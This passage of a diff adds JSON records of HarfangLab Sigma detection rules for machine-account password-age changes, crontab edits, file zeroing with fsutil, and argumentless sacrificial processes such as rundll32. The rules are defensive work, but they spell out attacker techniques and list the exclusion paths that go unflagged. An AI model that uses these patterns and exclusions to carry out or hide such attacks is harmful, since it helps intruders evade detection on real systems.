'?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_services:\n        ProcessImage: '?:\\Windows\\System32\\services.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\wininit.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\n# level: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5e5224bd-6c47-4a50-8706-a614438c7c55",
+  "rule_name": "Maximum Automatic Machine Account Password Age Changed",
+  "rule_description": "Detects a registry modification changing the maximum password age on the local host.\nAttackers may try to change such settings to reduce scope of an existing hardening and to maintain access as long as possible.\nIt is recommended to analyze the process responsible for this registry edit as well as to look for malicious actions by the same user around the alert.\n",
+  "rule_creation_date": "2020-10-20",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1098",
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5e67f495-82f8-4ec4-8384-c59ee7db5876",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.527733Z",
+  "creation_date": "2026-03-23T11:45:35.294057Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.294064Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.003/T1053.003.md",
+    "https://attack.mitre.org/techniques/T1053/003/"
+  ],
+  "name": "t1053_003_crontab_edit_linux.yml",
+  "content": "title: Cron Jobs Edited via crontab\nid: 5e67f495-82f8-4ec4-8384-c59ee7db5876\ndescription: |\n    Detects the execution of the crontab command to edit cron jobs.\n    Attackers can use crontab to add a malicious cron jobs for persistence.\n    It is recommended to investigate what modifications were made as well as to check the parent process for suspicious activities.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.003/T1053.003.md\n    - https://attack.mitre.org/techniques/T1053/003/\ndate: 2023/01/04\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1053.003\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.ScheduledTask\n    - classification.Linux.Behavior.Persistence\n    - classification.Linux.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection_image:\n        Image|endswith: '/crontab'\n        ParentImage|contains: '?'\n\n    # We are interested in matching `crontab <file>` and `crontab -e`, but to simplify we will\n    # match anything but a few unrelated flags\n    filter_harmless_flags:\n        CommandLine|contains:\n            - ' -l'\n            - ' -V'\n            - ' -T'\n            - ' -r'\n\n    exclusion_commandline:\n        CommandLine|startswith:\n            - 'crontab /opt/application/'\n            - 'crontab /tmp/crontab'\n            - '/bin/crontab /tmp/crontab'\n            - '/usr/bin/crontab /tmp/crontab'\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '|/usr/bin/containerd-shim-runc-v2|'\n            - '|/usr/sbin/cron|'\n            - '|/usr/sbin/crond|'\n\n    exclusion_plesk:\n        CommandLine: '/usr/bin/crontab -u psaadm /usr/local/psa/tmp/?????????'\n        ParentImage: '/usr/local/psa/admin/sbin/crontabmng'\n\n    exclusion_vm:\n        CommandLine: 'crontab /usr/vm/bin/run_cron'\n        ParentCommandLine:\n            - '/bin/bash /etc/cron.hourly/89NPMhourly'\n            - '/bin/bash /bin/run-parts /etc/cron.hourly'\n            - '/bin/bash -c sleep $(((RANDOM%5)));run-parts /etc/cron.hourly'\n\n    exclusion_puppet:\n        - ParentImage: '/opt/puppetlabs/puppet/bin/ruby'\n        - GrandparentImage: '/opt/puppetlabs/puppet/bin/ruby'\n\n    exclusion_flexit_modify_crontab_php:\n        # php /home/flexit/flexitv2/flexit/site/www/backoffice/modules/cron/front/batch/modify_crontab.php\n        GrandparentImage: '/usr/bin/php?.?'\n        GrandparentCommandLine|endswith: '/flexit/flexitv2/flexit/site/www/backoffice/modules/cron/front/batch/modify_crontab.php'\n\n    exclusion_dpkg:\n        GrandparentImage: '/usr/bin/dpkg'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    condition: selection_image and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5e67f495-82f8-4ec4-8384-c59ee7db5876",
+  "rule_name": "Cron Jobs Edited via crontab",
+  "rule_description": "Detects the execution of the crontab command to edit cron jobs.\nAttackers can use crontab to add a malicious cron jobs for persistence.\nIt is recommended to investigate what modifications were made as well as to check the parent process for suspicious activities.\n",
+  "rule_creation_date": "2023-01-04",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5e8f7d64-f9ba-4111-851d-2e07c745b2d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.069944Z",
+  "creation_date": "2026-03-23T11:45:34.069946Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.069950Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-file",
+    "https://blog.cluster25.duskrise.com/2023/05/22/back-in-black-blackbyte-nt",
+    "https://attack.mitre.org/techniques/T1070/004/"
+  ],
+  "name": "t1070_004_fsutil_setzerodata.yml",
+  "content": "title: File Deleted via fsutil.exe\nid: 5e8f7d64-f9ba-4111-851d-2e07c745b2d0\ndescription: |\n    Detects the execution of fsutil to delete file content.\n    This technique is sometimes used by adversaries to delete their ransomware binaries or to hide their traces.\n    It is recommended to investigate the files being deleted by fsutil and the execution context to determine the legitimacy of this action.\nreferences:\n    - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-file\n    - https://blog.cluster25.duskrise.com/2023/05/22/back-in-black-blackbyte-nt\n    - https://attack.mitre.org/techniques/T1070/004/\ndate: 2024/02/20\nmodified: 2025/02/18\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1070.004\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Fsutil\n    - classification.Windows.Behavior.Deletion\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_binary:\n        - Image|endswith: '\\fsutil.exe'\n        - OriginalFileName: 'fsutil.exe'\n\n    selection_commandline:\n        CommandLine|contains|all:\n            - ' file '\n            - ' setZeroData '\n            - ' offset=0 '\n            - ' length='\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5e8f7d64-f9ba-4111-851d-2e07c745b2d0",
+  "rule_name": "File Deleted via fsutil.exe",
+  "rule_description": "Detects the execution of fsutil to delete file content.\nThis technique is sometimes used by adversaries to delete their ransomware binaries or to hide their traces.\nIt is recommended to investigate the files being deleted by fsutil and the execution context to determine the legitimacy of this action.\n",
+  "rule_creation_date": "2024-02-20",
+  "rule_modified_date": "2025-02-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5ec7ff2f-b99d-4397-9fcc-f13cc813f7fc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.623275Z",
+  "creation_date": "2026-03-23T11:45:34.623276Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.623281Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_sacrificial_processes_no_args.yml",
+  "content": "title: Potential Sacrificial Process Spawned\nid: 5ec7ff2f-b99d-4397-9fcc-f13cc813f7fc\ndescription: |\n    Detects suspicious system processes spawned without arguments that can be used as sacrificial ones.\n    Such processes are spawned and malicious code is immediately injected into them for nefarious purposes.\n    It is recommended to investigate parent-child process relationships of argumentless system processes and to isolate any suspicious instances for memory analysis.\nreferences:\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2020/11/23\nmodified: 2026/02/10\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - attack.t1055.012\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.ProcessTampering\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_rundll32:\n        # Default target for Cobalt Strike's spawn task.\n        Image|endswith: 'rundll32.exe'\n        CommandLine|endswith:\n            - 'rundll32.exe'\n            # Possible quoted variants\n            - 'rundll32.exe\"'\n        ParentImage|contains: '?'\n\n    selection_werfault:\n        # Used by kraken.\n        Image|endswith: 'WerFault.exe'\n        CommandLine|endswith:\n            - 'WerFault.exe'\n            # Possible quoted variants\n            - 'WerFault.exe\"'\n\n    selection_dllhost:\n        # Used by IcedID for shellcodes.\n        Image|endswith: 'dllhost.exe'\n        CommandLine|endswith:\n            - 'dllhost.exe'\n            # Possible quoted variants\n            - 'dllhost.exe\"'\n\n    selection_w32tm:\n        Image|endswith: 'w32tm.exe'\n        CommandLine|endswith: 'w32tm.exe'\n\n    selection_smartscreen:\n        Image|endswith: 'smartscreen.exe'\n        CommandLine|endswith: 'smartscreen.exe'\n\n    selection_credentialuibroker:\n        Image|endswith: 'credentialuibroker.exe'\n        CommandLine|endswith: 'credentialuibroker.exe'\n\n    # NOTE: We currently exclude cmd.exe as a legitime user could type those commands without arguments.\n    filter_cmd:\n        ParentImage|endswith: '\\windows\\system32\\cmd.exe'\n\n    exclusion_setup:\n        # seen:\n        # *\\appdata\\local\\microsoft\\edge\\application\\\\*\\installer\\setup.exe\n        # *\\appdata\\local\\google\\chrome\\application\\\\*\\installer\\setup.exe\n        # *\\appdata\\local\\BraveSoftware\\application\\\\*\\installer\\setup.exe\n        ParentImage: '*\\appdata\\local\\\\*\\application\\\\*\\installer\\setup.exe'\n\n    exclusion_installer:\n        Image:\n            - '?:\\WINDOWS\\system32\\dllhost.exe'\n            - '?:\\Windows\\SysWOW64\\dllhost.exe'\n            - '?:\\Windows\\System32\\rundll32.exe'\n            - '?:\\Windows\\SysWOW64\\rundll32.exe'\n        ParentImage:\n            - '?:\\Users\\\\*\\AppData\\Local\\Temp\\is-?????.tmp\\\\*.tmp'\n            - '?:\\Windows\\TempInst\\is-?????.tmp\\\\*.tmp'\n            - '?:\\Windows\\Temp\\is-?????.tmp\\\\*.tmp'\n            - '?:\\temp\\is-?????.tmp\\\\*.tmp'\n            - '?:\\Users\\\\*\\AppData\\Local\\Temp\\{????????-????-????-????-????????????}\\_is????.exe'\n            - '?:\\Windows\\Temp\\{????????-????-????-????-????????????}\\_is????.exe'\n\n    exclusion_f5:\n        - ParentImage:\n            - '?:\\programdata\\F5 Networks\\f5unistall.exe'  # yes, there's a typo in unistall...\n            - '*\\AppData\\Local\\F5 Networks\\f5unistall.exe'\n        - GrandparentImage:\n            - '?:\\ProgramData\\F5 Networks\\f5unistall.exe'\n            - '*\\AppData\\Local\\F5 Networks\\f5unistall.exe'\n\n    exclusion_lenovo_installer:\n        ParentCommandLine|contains:\n            # \"c:\\windows\\TempInst\\is-DB8TB.tmp\\n25sh04w.tmp\" /SL5=\"$C4155A,409762,57856,C:\\ProgramData\\Lenovo\\SystemUpdate\\sessionSE\\Repository\\n25sh04w\\n25sh04w.exe\" /VERYSILENT /DIR=C:\\PROGRA~3\\Lenovo\\SYSTEM~1\\SESSIO~1\\REPOSI~1\\n25sh04w\\ /EXTRACT=\"YES\"\n            - ' /VERYSILENT /DIR=?:\\PROGRA~3\\Lenovo\\SYSTEM~1\\SESSIO~1\\REPOSI~1\\'\n            # c:\\windows\\TempInst\\is-ECBDO.tmp\\n27lj01w.tmp /SL5=$6076C,486425,57856,C:\\ProgramData\\Lenovo\\ImController\\SystemPluginData\\LenovoSystemUpdatePlugin\\session\\Repository\\n27lj01w\\n27lj01w.exe /VERYSILENT /DIR=C:\\PROGRA~3\\Lenovo\\IMCONT~1\\SYSTEM~1\\LENOVO~2\\session\\REPOSI~1\\n27lj01w\\ /EXTRACT=YES\n            - ' /VERYSILENT /DIR=?:\\PROGRA~3\\Lenovo\\IMCONT~1\\SYSTEM~1\\LENOVO~'\n            # \"c:\\windows\\TempInst\\is-MB6TA.tmp\\HSW_vProChecker.tmp\" /SL5=\"$390652,290538,54272,C:\\ProgramData\\Lenovo\\SystemUpdate\\sessionSE\\Repository\\jdrg04ww\\HSW_vProChecker.exe\" /VERYSILENT /PARAM=\"-feat !!M3 Autotest!! -value !!Enabled!!\"\n            - ' /VERYSILENT /PARAM=\"-feat !!M3 Autotest!! -value !!Enabled!!\"'\n            # c:\\windows\\TempInst\\is-TKR5P.tmp\\HSW_vProChecker.tmp /SL5=$2C095A,290538,54272,C:\\ProgramData\\Lenovo\\SystemUpdate\\sessionSE\\Repository\\girg39ww_vpro\\HSW_vProChecker.exe /VERYSILENT /PARAM=-feat !!M3 Autotest!! -value !!Enabled!!\n            - ' /VERYSILENT /PARAM=-feat !!M3 Autotest!! -value !!Enabled!!'\n            # c:\\windows\\TempInst\\is-V32OO.tmp\\girg38ww.tmp /SL5=$80676,5897380,54272,C:\\ProgramData\\Lenovo\\SystemUpdate\\sessionSE\\Repository\\girg38ww_nonvpro\\girg38ww.exe /VERYSILENT /DIR=C:\\ProgramData\\Lenovo\\SystemUpdate\\sessionSE\\Repository\\girg38ww_nonvpro\\ /EXTRACT=YES\n            - ' /VERYSILENT /DIR=?:\\ProgramData\\Lenovo\\SystemUpdate\\sessionSE\\Repository\\'\n            # C:\\Windows\\TEMP\\is-82VLT.tmp\\n1qvub3w.tmp /SL5=$701DC,26771463,54272,C:\\ProgramData\\Lenovo\\SystemUpdate\\sessionSE\\Repository\\n1qvub3w_win7\\n1qvub3w.exe /VERYSILENT /DIR=C:\\ProgramData\\Lenovo\\SYSTEM~1\\SESSIO~1\\REPOSI~1\\N1QVUB~1\\ /EXTRACT=YES\n            - ' /VERYSILENT /DIR=?:\\ProgramData\\Lenovo\\SYSTEM~1\\SESSIO~1\\REPOSI~1\\'\n            # C:\\ProgramData\\Lenovo\\Vantage\\AddinData\\LenovoSystemUpdateAddin\\session\\Repository\\grwt06ww\\grwt06ww.exe /VERYSILENT /DIR=C:\\PROGRA~3\\Lenovo\\Vantage\\ADDIND~1\\LENOVO~1\\session\\REPOSI~1\\grwt06ww\\ /EXTRACT=YES\n            - '/VERYSILENT /DIR=?:\\PROGRA~3\\Lenovo\\Vantage\\ADDIND~1\\LENOVO~1\\session\\REPOSI~1\\'\n            # C:\\ProgramData\\Lenovo\\SystemUpdate\\sessionSE\\Repository\\n10cp05w_10\\n10cp05w.exe /VERYSILENT /SP- /DIR=C:\\PROGRA~3\\Lenovo\\SYSTEM~1\\SESSIO~1\\REPOSI~1\\N10CP0~1\\ /EXTRACT=YES\n            - '/VERYSILENT /SP- /DIR=?:\\PROGRA~3\\Lenovo\\SYSTEM~1\\SESSIO~1\\REPOSI~1\\'\n            # C:\\Users\\xxxxx\\AppData\\Local\\Temp\\is-U2SKB.tmp\\k2vdo07us14.tmp /SL5=$B004C,175816560,56832,C:\\Users\\xxxxx\\Downloads\\k2vdo07us14.exe /SPAWNWND=$70658 /NOTIFYWND=$8054E\n            - '/SL5=* /SPAWNWND=* /NOTIFYWND='\n            # C:\\Users\\xxx\\AppData\\Local\\Temp\\is-621FA.tmp\\nz3gr01w.tmp /SL5=$813AC,23294916,56832,C:\\ProgramData\\Lenovo\\UpdateRetriever\\Session\\LenovoDrivers\\temp\\868\\nz3gr01w.exe /VERYSILENT /EXTRACT=YES /DIR=C:\\LenovoDriverPacks\\ThinkPad X1 Yoga 3rd Gen Type 20LD 20LE 20LF 20LG win10\\Security\\nz3gr01w\n            - '/VERYSILENT /EXTRACT=YES /DIR=?:\\LenovoDriverPacks'\n            # C:\\WINDOWS\\TEMP\\is-J5LLB.tmp\\n1wvu28w.tmp /SL5=$D00A6,14025556,54272,C:\\WINDOWS\\ccmcache\\h\\n1wvu28w.exe /PARAM=/S /SP- /VERYSILENT /NORESTART /SUPPRESSMSGBOXES\n            - '/PARAM=/S /SP- /VERYSILENT /NORESTART /SUPPRESSMSGBOXES'\n\n    exclusion_msedge_updater:\n        - ParentImage|endswith: '\\setup.exe'\n          ParentCommandLine|contains|all:\n            # seen \"d:\\profils\\XXXX\\AppData\\Local\\Temp\\EDGEMITMP_22230.tmp\\setup.exe\" --install-archive=\"d:\\profils\\XXXX\\AppData\\Local\\Temp\\EDGEMITMP_22230.tmp\\MSEDGE_PATCH.PACKED.7Z\" --previous-version=\"91.0.864.37\" --msedge --verbose-logging --do-not-launch-msedge\n            - '.PACKED.7Z' # either MSEDGE_PATCH.PACKED.7Z or MSEDGE.PACKED.7Z\n            - '--msedge'\n            - '--do-not-launch-msedge'\n        - ParentImage|endswith: '\\setup.exe'\n          ParentCommandLine|contains|all:\n            # seen C:\\Users\\xxx\\AppData\\Local\\Microsoft\\EdgeUpdate\\Install\\{1B0E22A8-A5FA-401B-BC1C-5376E496005C}\\EDGEMITMP_BCFB1.tmp\\setup.exe --install-archive=C:\\Users\\xxx\\AppData\\Local\\Microsoft\\EdgeUpdate\\Install\\{1B0E22A8-A5FA-401B-BC1C-5376E496005C}\\MicrosoftEdge_X64_103.0.1264.37_102.0.1245.44.exe --previous-version=102.0.1245.44 --msedge --verbose-logging --do-not-launch-msedge --channel=stable\n            - 'AppData\\Local\\Microsoft\\EdgeUpdate' # either MSEDGE_PATCH.PACKED.7Z or MSEDGE.PACKED.7Z\n            - '--msedge'\n            - '--do-not-launch-msedge'\n        - Image: '?:\\Windows\\System32\\rundll32.exe'\n          ParentImage:\n            - '?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\\\*\\Installer\\setup.exe'\n            - '?:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{????????-????-????-????-????????????}\\EDGEMITMP_*.tmp\\setup.exe'\n          GrandparentImage:\n            - '?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\\\*\\Installer\\setup.exe'\n            - '?:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{????????-????-????-????-????????????}\\MicrosoftEdge_X64_*.exe'\n\n    exclusion_lenovo_systemupdate:\n        User: '*lenovo_tmp_*'\n        # \"c:\\windows\\TempInst\\is-2FIDC.tmp\\HSW_vProChecker.tmp\" /SL5=\"$A0742,290538,54272,C:\\ProgramData\\Lenovo\\SystemUpdate\\sessionSE\\Repository\\jdrg04ww\\HSW_vProChecker.exe\" /VERYSILENT /PARAM=\"-feat !!M3 Autotest!! -value !!Enabled!!\"\n        ParentCommandLine: '*/VERYSILENT*'\n\n    exclusion_nvidia_installer:\n        # c:\\windows\\syswow64\\rundll32.exe c:\\users\\XXX\\AppData\\Local\\Temp\\NVI2_29.DLL,DeferredDelete {XXX-XXX-XXX (GUID)} 11111 c:\\windows\\syswow64\\rundll32.exe\n        CommandLine: '*\\windows\\syswow64\\rundll32.exe*DeferredDelete *\\windows\\syswow64\\rundll32.exe*'\n\n    exclusion_pdf_xchange:\n        # C:\\Users\\XXXX\\AppData\\Local\\Temp\\is-E1ON0.tmp\\PDFX4SA_sm.tmp /SL5=$1A083A,5674009,54272,\\\\...\\PostInstallation\\PDFTools\\PDFX4SA_sm.exe /SILENT /NORESTART /DIR=C:\\Program Files\\Tracker Software\\PDF-XChange 4\" /LANG=fr /PName=PDF-XChange pour XXXX\n        ParentCommandLine|contains: 'Program Files\\Tracker Software\\PDF-XChange'\n\n    exclusion_chromecleaner:\n        # C:\\Users\\xxxx\\AppData\\Local\\Temp\\ChromeCleaner_0_2084_1964492881\\88407957-5e5a-4da3-8ccc-ed403471c9ce.exe --chrome-version=102.0.5005.115 --chrome-channel=4 --chrome-exe-path=C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe --chrome-system-install --execution-mode=1 --engine=2 --chrome-prompt=3 --reset-shortcuts --chrome-write-handle=3960 --chrome-read-handle=2024\n        ParentCommandLine|contains|all:\n            - '--chrome-exe-path'\n            - '--reset-shortcuts'\n            - '--chrome-system-install'\n            - '--chrome-channel'\n\n    exclusion_citrix:\n        # C:\\Windows\\SysWOW64\\rundll32.exe\n        ParentImage|contains: '\\AppData\\Local\\Citrix\\ICA Client\\CitrixBrowser\\\\*\\Installer\\setup.exe'\n        GrandparentImage|endswith:\n            - '\\AppData\\Local\\Temp\\Ctx*\\CitrixReceiver\\Ctx-*\\Extract\\TrolleyExpress.exe'\n            - '\\AppData\\Local\\Citrix\\Citrix Workspace *\\CWAInstaller.exe'\n\n    exclusion_exchange:\n        # C:\\Windows\\system32\\w32tm.exe\n        ParentCommandLine: '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -noexit -command . ?*\\Microsoft Exchange\\\\*\\bin\\RemoteExchange.ps1?; Connect-ExchangeServer -auto*'\n\n    exclusion_dell:\n        GrandparentImage: '?:\\ProgramData\\Dell\\drivers\\\\????????-????-????-????-????????????\\DellOptimizer.exe'\n\n    exclusion_firewall:\n        CommandLine|startswith: '?:\\Windows\\System32\\rundll32.exe ?:\\Windows\\System32\\FirewallControlPanel.dll,ShowNotificationDialog '\n        ParentCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k LocalServiceNoNetworkFirewall -p'\n\n    exclusion_credentialuibroker:\n        Image:\n            - '?:\\Windows\\System32\\CredentialUIBroker.exe'\n            - '?:\\Windows\\SysWOW64\\CredentialUIBroker.exe'\n        ParentImage:\n            - '?:\\Windows\\explorer.exe'\n            - '?:\\Program Files\\UiPath\\Studio*'\n\n    exclusion_landesk:\n        GrandparentCommandLine|startswith: '?:\\Program Files (x86)\\LANDesk\\LDClient\\sdmcache'\n\n    exclusion_lenovo:\n        GrandparentCommandLine|endswith: 'setup.exe /verysilent'\n        Signed: 'true'\n        Company: 'Lenovo Group Limited'\n\n    exclusion_dataview:\n        GrandparentImage: '?:\\Program Files (x86)\\DataView\\PDFXChange\\PDFX3SA_sm.exe'\n\n    exclusion_powershell_command:\n        Image: '?:\\Windows\\System32\\w32tm.exe'\n        ParentImage: '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n        GrandparentImage:\n            - '?:\\Windows\\explorer.exe'\n            - '?:\\Program Files\\WindowsApps\\Microsoft.WindowsTerminal_*\\WindowsTerminal.exe'\n\n    exclusion_sihost:\n        ParentImage: '?:\\Windows\\System32\\sihost.exe'\n        GrandparentImage: '?:\\Windows\\System32\\svchost.exe'\n\n    condition: 1 of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5ec7ff2f-b99d-4397-9fcc-f13cc813f7fc",
+  "rule_name": "Potential Sacrificial Process Spawned",
+  "rule_description": "Detects suspicious system processes spawned without arguments that can be used as sacrificial ones.\nSuch processes are spawned and malicious code is immediately injected into them for nefarious purposes.\nIt is recommended to investigate parent-child process relationships of argumentless system processes and to isolate any suspicious instances for memory analysis.\n",
+  "rule_creation_date": "2020-11-23",
+  "rule_modified_date": "2026-02-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.012",
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5ed28bb8-b225-4f34-936c-2f4d80bc9cd0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
